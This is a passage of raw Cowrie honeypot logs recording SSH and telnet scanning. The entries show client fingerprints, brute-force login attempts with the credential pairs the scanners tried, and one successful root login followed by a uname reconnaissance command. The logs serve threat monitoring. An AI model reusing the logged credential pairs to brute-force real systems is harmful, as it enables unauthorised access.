fie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:11:42.407892Z","src_ip":"159.223.57.48","session":"f7464658262d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gits","password":"Gits123","message":"login attempt [gits/Gits123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:11:43.416446Z","src_ip":"159.223.57.48","session":"f7464658262d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:11:44.661962Z","src_ip":"159.223.57.48","session":"f7464658262d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":43398,"dst_ip":"159.203.135.109","dst_port":22,"session":"68e8f51d97e4","protocol":"ssh","message":"New connection: 92.118.39.92:43398 (159.203.135.109:22) [session: 68e8f51d97e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:12:39.234768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:12:39.239391Z","src_ip":"92.118.39.92","session":"68e8f51d97e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:12:39.344782Z","src_ip":"92.118.39.92","session":"68e8f51d97e4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"testuser","message":"login attempt [root/testuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:12:39.656734Z","src_ip":"92.118.39.92","session":"68e8f51d97e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:12:39.893454Z","src_ip":"92.118.39.92","session":"68e8f51d97e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:12:39.896359Z","src_ip":"92.118.39.92","session":"68e8f51d97e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:12:40.002368Z","src_ip":"92.118.39.92","session":"68e8f51d97e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:12:40.006836Z","src_ip":"92.118.39.92","session":"68e8f51d97e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.211.185","src_port":56860,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e293c9b8769","protocol":"ssh","message":"New connection: 103.13.211.185:56860 (159.203.135.109:22) [session: 2e293c9b8769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:14:26.720607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:14:26.723743Z","src_ip":"103.13.211.185","session":"2e293c9b8769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:14:26.820449Z","src_ip":"103.13.211.185","session":"2e293c9b8769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"facturacion","password":"1234","message":"login attempt [facturacion/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:14:27.324175Z","src_ip":"103.13.211.185","session":"2e293c9b8769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:14:28.423314Z","src_ip":"103.13.211.185","session":"2e293c9b8769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":58842,"dst_ip":"159.203.135.109","dst_port":22,"session":"801ab986e4a3","protocol":"ssh","message":"New connection: 92.118.39.92:58842 (159.203.135.109:22) [session: 801ab986e4a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:14:57.597009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:14:57.601353Z","src_ip":"92.118.39.92","session":"801ab986e4a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:14:57.705625Z","src_ip":"92.118.39.92","session":"801ab986e4a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:14:58.017466Z","src_ip":"92.118.39.92","session":"801ab986e4a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:14:59.123372Z","src_ip":"92.118.39.92","session":"801ab986e4a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.196.84.80","src_port":54768,"dst_ip":"10.17.0.5","dst_port":23,"session":"e39c72e8e7af","protocol":"telnet","message":"New connection: 38.196.84.80:54768 (10.17.0.5:23) [session: e39c72e8e7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:15:17.597457Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":38092,"dst_ip":"10.17.0.5","dst_port":22,"session":"722fe4e673de","protocol":"ssh","message":"New connection: 162.120.6.20:38092 (10.17.0.5:22) [session: 722fe4e673de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:15:24.073964Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:15:24.144075Z","src_ip":"162.120.6.20","session":"722fe4e673de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":38098,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f5761b5a37e","protocol":"ssh","message":"New connection: 162.120.6.20:38098 (10.17.0.5:22) [session: 8f5761b5a37e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:15:24.208426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:15:24.213813Z","src_ip":"162.120.6.20","session":"8f5761b5a37e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:15:24.281730Z","src_ip":"162.120.6.20","session":"8f5761b5a37e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marina","password":"marina","message":"login attempt [marina/marina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:15:24.485921Z","src_ip":"162.120.6.20","session":"8f5761b5a37e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:15:25.555526Z","src_ip":"162.120.6.20","session":"8f5761b5a37e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.270378589630127,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:15:31.867610Z","src_ip":"38.196.84.80","session":"e39c72e8e7af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":34912,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb34c299e837","protocol":"ssh","message":"New connection: 159.223.57.48:34912 (159.203.135.109:22) [session: fb34c299e837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:16:14.875056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:16:14.879952Z","src_ip":"159.223.57.48","session":"fb34c299e837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:16:15.125358Z","src_ip":"159.223.57.48","session":"fb34c299e837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backupuser","password":"root","message":"login attempt [backupuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:16:16.140510Z","src_ip":"159.223.57.48","session":"fb34c299e837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:16:17.388876Z","src_ip":"159.223.57.48","session":"fb34c299e837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.80.61","src_port":48560,"dst_ip":"159.203.135.109","dst_port":22,"session":"19049528ebf5","protocol":"ssh","message":"New connection: 103.67.80.61:48560 (159.203.135.109:22) [session: 19049528ebf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:16:34.450697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:16:34.454391Z","src_ip":"103.67.80.61","session":"19049528ebf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:16:34.693306Z","src_ip":"103.67.80.61","session":"19049528ebf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"u1","password":"1234","message":"login attempt [u1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:16:35.686259Z","src_ip":"103.67.80.61","session":"19049528ebf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:16:36.927881Z","src_ip":"103.67.80.61","session":"19049528ebf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.211.185","src_port":46240,"dst_ip":"159.203.135.109","dst_port":22,"session":"faffb6b64dcd","protocol":"ssh","message":"New connection: 103.13.211.185:46240 (159.203.135.109:22) [session: faffb6b64dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:17:07.122014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:17:07.127021Z","src_ip":"103.13.211.185","session":"faffb6b64dcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:17:07.223141Z","src_ip":"103.13.211.185","session":"faffb6b64dcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gits","password":"Gits123","message":"login attempt [gits/Gits123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:17:07.723134Z","src_ip":"103.13.211.185","session":"faffb6b64dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:17:08.822496Z","src_ip":"103.13.211.185","session":"faffb6b64dcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":46074,"dst_ip":"159.203.135.109","dst_port":22,"session":"edf275484761","protocol":"ssh","message":"New connection: 92.118.39.92:46074 (159.203.135.109:22) [session: edf275484761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:17:16.550951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:17:16.555298Z","src_ip":"92.118.39.92","session":"edf275484761","protocol":"ssh"}
